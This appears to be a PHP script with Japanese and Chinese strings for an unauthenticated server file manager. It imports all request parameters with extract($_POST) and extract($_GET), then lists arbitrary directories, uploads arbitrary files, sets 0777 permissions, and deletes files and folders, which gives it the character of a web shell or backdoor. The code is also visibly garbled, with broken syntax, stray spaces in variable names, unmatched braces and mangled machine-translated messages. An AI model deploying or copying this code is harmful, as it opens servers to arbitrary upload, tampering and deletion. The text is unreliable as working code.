プロセス|アップロード
extract($_POST);
extract($_GET);
?>
查看服务器端目录和文件
$n = 0;
if (isset($InputDirRoot))
{
$handle=opendir($InputDirRoot);
echo "目录列表:
".$InputDirRoot."
";
while ($file = readdir($handle))
{
$n ++ ;
if (is_dir($InputDirRoot."/".$file))
$file = "
[".$file."]";
else
$file = "
".$file."gt;";
echo " ".$file."
";
}
closedir($handle) ;
}
if(isset($method) && isset($InputDir) && strcmp($method,"createdir")==0){//建立目录
if(is_dir($InputDir)){
chmod($ InputDir,0777);
echo "目录已存在!权限修改完毕!";
}else{
if(@mkdir("$InputDir")){
;
}
}
if(isset($method) && isset($InputDir) && strcmp($method,"uploadfile")==0){ //ファイルのアップロードまたはファイルの削除
if(is_file($InputDir. "/".$_FILES[UploadFile][name])){
chmod($InputDir."/".$_FILES[UploadFile][name],0777 );
echo "ファイルは存在します! 削除されました! -- ファイルを再アップロードできます";
unlink($InputDir."/".$_FILES[UploadFile][name]);
}else{
if(@copy($_FILES[UploadFile][tmp_name],$InputDir."/" .$_FILES[UploadFile][name])){
echo "ファイル {$_FILES[UploadFile][name]} は正しくコピーされました{$InputDir} へ...!";
失敗しました...!」;
chmod($InputDir."/".$_FILES[UploadFile][name],0777);
chmod($InputDir. "/". $_FILES[UploadFile][name],0777); "drop")==0){// ファイルまたはディレクトリを削除します
if(is_dir($Info)){
if(rmdir($Info)) {
{O Echo "ディレクトリを削除できません! 理由は、ディレクトリにファイルがある可能性があります!"
}}
if (is_file ($ info)) {
if (unlink ($ info)) {
echo "; file { $ Info} 削除 ... ";;
} Else {
echo" ファイル {$ info} 削除に失敗しました ...! ファイルのアクセス許可を変更してください delete ... ";
if (chmod ($ info) 、07777))))){
はこれのFTP許可である可能性があります。ファイルは設定されています... ";
}" /html>